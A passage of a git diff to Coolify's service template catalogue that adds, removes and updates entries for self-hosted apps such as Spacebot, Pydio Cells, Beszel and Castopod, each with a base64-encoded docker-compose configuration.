JRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80, 8443" - }, "qbittorrent": { "documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io", "slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.", @@ -4386,6 +4316,25 @@ "minversion": "0.0.0", "port": "8989" }, + "spacebot": { + "documentation": "https://docs.spacebot.sh/docker?utm_source=coolify.io", + "slogan": "An agentic AI system with specialized processes for thinking, working, and remembering.", + "compose": "c2VydmljZXM6CiAgc3BhY2Vib3Q6CiAgICBpbWFnZTogJ2doY3IuaW8vc3BhY2Vkcml2ZWFwcC9zcGFjZWJvdDpmdWxsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NQQUNFQk9UXzE5ODk4CiAgICAgIC0gJ0FOVEhST1BJQ19BUElfS0VZPSR7QU5USFJPUElDX0FQSV9LRVl9JwogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnRElTQ09SRF9CT1RfVE9LRU49JHtESVNDT1JEX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0JPVF9UT0tFTj0ke1NMQUNLX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0FQUF9UT0tFTj0ke1NMQUNLX0FQUF9UT0tFTn0nCiAgICAgIC0gJ0JSQVZFX1NFQVJDSF9BUElfS0VZPSR7QlJBVkVfU0VBUkNIX0FQSV9LRVl9JwogICAgICAtICdTUEFDRUJPVF9DSEFOTkVMX01PREVMPSR7U1BBQ0VCT1RfQ0hBTk5FTF9NT0RFTH0nCiAgICAgIC0gJ1NQQUNFQk9UX1dPUktFUl9NT0RFTD0ke1NQQUNFQk9UX1dPUktFUl9NT0RFTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzcGFjZWJvdC1kYXRhOi9kYXRhJwogICAgc2VjdXJpdHlfb3B0OgogICAgICAtIHNlY2NvbXA9dW5jb25maW5lZAogICAgc2htX3NpemU6IDFnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjE5ODk4L2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "ai", + "agent", + "anthropic", + "openai", + "discord", + "slack", + "llm", + "agentic" + ], + "category": "ai", + "logo": "svgs/spacebot.png", + "minversion": "0.0.0", + "port": "19898" + }, "sparkyfitness": { "documentation": "https://codewithcj.github.io/SparkyFitness/?utm_source=coolify.io", "slogan": "SparkyFitness is a comprehensive fitness tracking and management application designed to help users monitor their nutrition, exercise, and body measurements. It provides tools for daily progress tracking, goal setting, and insightful reports to support a healthy lifestyle.", @@ -5282,5 +5231,17 @@ "logo": "svgs/marimo.svg", "minversion": "0.0.0", "port": "8080" + }, + "pydio-cells": { + "documentation": "https://docs.pydio.com/?utm_source=coolify.io", + "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.", + "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NFTExTXzgwODAKICAgICAgLSAnQ0VMTFNfU0lURV9FWFRFUk5BTD0ke1NFUlZJQ0VfVVJMX0NFTExTfScKICAgICAgLSBDRUxMU19TSVRFX05PX1RMUz0xCiAgICB2b2x1bWVzOgogICAgICAtICdjZWxsc19kYXRhOi92YXIvY2VsbHMnCiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ215c3FsX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotY2VsbHN9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQo=", + "tags": [ + "storage" + ], + "category": null, + "logo": "svgs/cells.svg", + "minversion": "0.0.0", + "port": "8080" } } diff --git a/templates/service-templates.json b/templates/service-templates.json index bcecf06c5..49f1f126f 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtICdIVUJfVVJMPWh0dHA6Ly9iZXN6ZWw6ODA5MCcKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICB2b2x1bWVzOgogICAgICAtICdiZXN6ZWxfYWdlbnRfZGF0YTovdmFyL2xpYi9iZXN6ZWwtYWdlbnQnCiAgICAgIC0gJ2Jlc3plbF9zb2NrZXQ6L2Jlc3plbF9zb2NrZXQnCiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrOnJvJwo=", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -489,7 +489,7 @@ "castopod": { "documentation": "https://docs.castopod.org/main/en/?utm_source=coolify.io", "slogan": "Castopod is a free & open-source hosting platform made for podcasters who want engage and interact with their audience.", - "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQVNUT1BPRF84MDAwCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdDUF9ESVNBQkxFX0hUVFBTPSR7Q1BfRElTQUJMRV9IVFRQUzotMX0nCiAgICAgIC0gQ1BfQkFTRVVSTD0kU0VSVklDRV9GUUROX0NBU1RPUE9ECiAgICAgIC0gQ1BfQU5BTFlUSUNTX1NBTFQ9JFNFUlZJQ0VfUkVBTEJBU0U2NF82NF9TQUxUCiAgICAgIC0gQ1BfQ0FDSEVfSEFORExFUj1yZWRpcwogICAgICAtIENQX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBDUF9SRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwMDAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4yJwogICAgdm9sdW1lczoKICAgICAgLSAnY2FzdG9wb2QtZGI6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICBjb21tYW5kOiAnLS1yZXF1aXJlcGFzcyAkU0VSVklDRV9QQVNTV09SRF9SRURJUycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWNhY2hlOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgLWEgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOjEuMTUuNCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQVNUT1BPRF84MDgwCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdDUF9ESVNBQkxFX0hUVFBTPSR7Q1BfRElTQUJMRV9IVFRQUzotMX0nCiAgICAgIC0gQ1BfQkFTRVVSTD0kU0VSVklDRV9GUUROX0NBU1RPUE9ECiAgICAgIC0gQ1BfQU5BTFlUSUNTX1NBTFQ9JFNFUlZJQ0VfUkVBTEJBU0U2NF82NF9TQUxUCiAgICAgIC0gQ1BfQ0FDSEVfSEFORExFUj1yZWRpcwogICAgICAtIENQX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBDUF9SRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwODAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4yJwogICAgdm9sdW1lczoKICAgICAgLSAnY2FzdG9wb2QtZGI6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICBjb21tYW5kOiAnLS1yZXF1aXJlcGFzcyAkU0VSVklDRV9QQVNTV09SRF9SRURJUycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWNhY2hlOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgLWEgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "podcast", "media", @@ -503,7 +503,7 @@ "category": "media", "logo": "svgs/castopod.svg", "minversion": "0.0.0", - "port": "8000" + "port": "8080" }, "changedetection": { "documentation": "https://github.com/dgtlmoon/changedetection.io/?utm_source=coolify.io", @@ -684,7 +684,7 @@ "cloudreve": { "documentation": "https://docs.cloudreve.org/?utm_source=coolify.io", "slogan": "A self-hosted file management and sharing system.", - "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb